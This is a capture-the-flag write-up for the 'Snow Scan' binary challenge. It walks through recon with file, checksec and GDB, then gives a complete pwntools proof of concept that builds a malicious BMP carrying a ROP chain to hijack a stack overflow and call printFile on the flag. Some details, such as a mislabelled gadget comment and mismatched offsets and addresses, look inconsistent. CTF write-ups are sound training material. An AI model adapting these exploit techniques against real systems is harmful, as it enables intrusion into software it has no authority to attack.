Snow Scan
Snow Scan In a rapidly unfolding scenario, an ancient Sumerian virus has surfaced, rapidly proliferating and posing a grave threat. Snow Crash, a menacing presence within the metaverse, has ventured beyond virtual realms, unleashing tangible repercussions in real life. In response to this crisis, the Board of Arodor has devised a vital tool—a service designed to meticulously scan and identify potential samples of Snow Crash. Would you consider harnessing this service to counter their efforts?
Files
Download: pwn_snowscan.zip
Recon
We start by inspecting the provided binary to understand what we are dealing with. The file command tells us the architecture, whether it is stripped, and how it is linked.
file snowscan
snowscan: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=e9e902cc433b54fad963f22e7465986841dd3f36, for GNU/Linux 3.2.0, not stripped
It is a statically linked, non-stripped 64-bit ELF. Static linking matters here because it means the binary itself contains plenty of gadgets we can later reuse for ROP, and “not stripped” means symbol names are still available to us.
Next we check the binary’s protections with checksec to plan our exploitation strategy.
checksec snowscan
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
The key takeaways: there is a stack canary (so a naive overflow that smashes the canary will be caught), NX is enabled (so we cannot execute shellcode on the stack and must use ROP), and there is no PIE (so all code and gadget addresses are at fixed, known locations starting at 0x400000).
Enumeration
While there are no explicit format string vulnerabilities in the provided code, it is worth keeping in mind that any printf-style call using user-controlled format strings could leak memory and help locate sensitive data such as file descriptors. In this challenge, the more interesting observation is about an unused function.
The binary defines a printFile function that is never actually called during normal execution. If we can hijack control flow, we can call it ourselves to read an arbitrary file. The flag lives at the following path.
/home/ctf/flag.txt
So the plan is: gain control of execution, then redirect it into printFile with the flag path as its argument.
Buffer Overflow
To develop the exploit locally, we recompile a debug version of the program from source so we can resolve symbols and step through it.
gcc -g -o snowscand snowscan.c
We then load it in GDB and look up the address of the printFile function we want to redirect execution to.
gdb ./snowscand
Reading symbols from ./snowscand...
gdb-peda$ p printFile
$1 = {void (char *)} 0x129b <printFile>
By inspecting the stack we can identify the saved return address that an overflow would overwrite, confirming we can control the instruction pointer.
RSP: 0x7fffffffd6d8 --> 0x4022be (<sequenceDetected+61>: test eax,eax)
A first, naive attempt to demonstrate the overflow just pads the buffer up to the return address and overwrites it with the printFile address, passing the flag path. This was an early prototype to validate the idea before building the full ROP chain.
# Replace these values with your findings
offset = 60 # Adjust the offset based on your specific environment
print_file_address = 0x129b # Address of the printFile function obtained from gdb
file_path = "/home/ctf/flag.txt" # File path to be passed as an argument to printFile
# Craft the payload
payload = b'A' * offset + struct.pack('<I', print_file_address)
# Launch the vulnerable program with the crafted payload
subprocess.run(['./snowscand', payload])
The argument we are ultimately trying to feed into printFile is the flag path.
/home/ctf/flag.txt
The crash and control of execution is confirmed below.

Exploitation (POC)
For the real target the input is parsed as a BMP image, and the overflow is reached only after a specific trigger string (3nk1's-n4m-shub) is present in the file. Because NX is enabled and the binary is statically linked, we build a ROP chain instead of injecting shellcode.
The chain works as follows: we write the string flag.txt into a writable address (flag_str) using a pop rax gadget to load the bytes, a pop rsi gadget to point at the destination, and a mov qword ptr [rsi], rax gadget to store it. We then load that same address into rdi (the first argument register) and jump into printFile, so it opens and prints flag.txt.
The full proof-of-concept builds the malicious BMP and launches the binary against it.
#!/usr/bin/env python3
from pwn import *
bmpfile = 'exploit.bmp'
elf = context.binary = ELF('./snowscan', checksec=True)
context(terminal=['tmux', 'split-window', '-h'])
context.log_level = 'info'
gs = '''
unset environment LINES
unset environment COLUMNS
unset environment TERM_PROGRAM
continue
'''.format(**locals())
def start(argv=[], *a, **kw):
'''Start the exploit against the target.'''
if args.GDB:
return gdb.debug([elf.path, bmpfile], gdbscript=gs, *a, **kw)
else:
return process([elf.path, bmpfile], *a, **kw)
def generate_bmp_file():
# BMP file header
signature = b'BM'
fileSize = 0
reserved = 0
dataOffset = 54
headerSize = 0
width = 20 # Adjust the width within the acceptable range
height = 20 # Adjust the height within the acceptable range
colorPlanes = 0
bitsPerPixel = 0
compression = 0
imageSize = 400
horizontalResolution = 0
verticalResolution = 0
numColors = 0
importantColors = 0
bmp_header = signature + fileSize.to_bytes(4, 'little') + reserved.to_bytes(4, 'little') + \
dataOffset.to_bytes(4, 'little') + headerSize.to_bytes(4, 'little') + width.to_bytes(4, 'little') + \
height.to_bytes(4, 'little') + colorPlanes.to_bytes(2, 'little') + bitsPerPixel.to_bytes(2, 'little') + \
compression.to_bytes(4, 'little') + imageSize.to_bytes(4, 'little') + \
horizontalResolution.to_bytes(4, 'little') + verticalResolution.to_bytes(4, 'little') + \
numColors.to_bytes(4, 'little') + importantColors.to_bytes(4, 'little')
trigger = b"3nk1's-n4m-shub"
flag_str = 0x4c3500
# Gadgets:
pop_rax = 0x4522e7 # pop rax; ret;
pop_rdi = 0x401a72 # pop rdx; ret;
pop_rsi = 0x40f97e # pop rsi; ret;
pop_rdx = 0x40197f # pop rdx; ret;
syscall = 0x41eb64 # syscall; ret;
ret = 0x40101a # ret;
gadget = 0x482d35 # mov qword ptr [rsi], rax ; ret
offset = 472
payload = flat({
offset: [
pop_rax,
b"flag.txt",
pop_rsi,
flag_str,
gadget,
pop_rdi,
flag_str,
elf.sym.printFile,
0xc0debabe
]
})
bmp_data = bmp_header + trigger + payload
# Save the data to a file
with open(bmpfile, 'wb') as f:
f.write(bmp_data)
if __name__=='__main__':
generate_bmp_file()
io = start()
io.interactive()
Running the proof-of-concept against the service writes flag.txt into memory and redirects execution into printFile, which reads back the flag.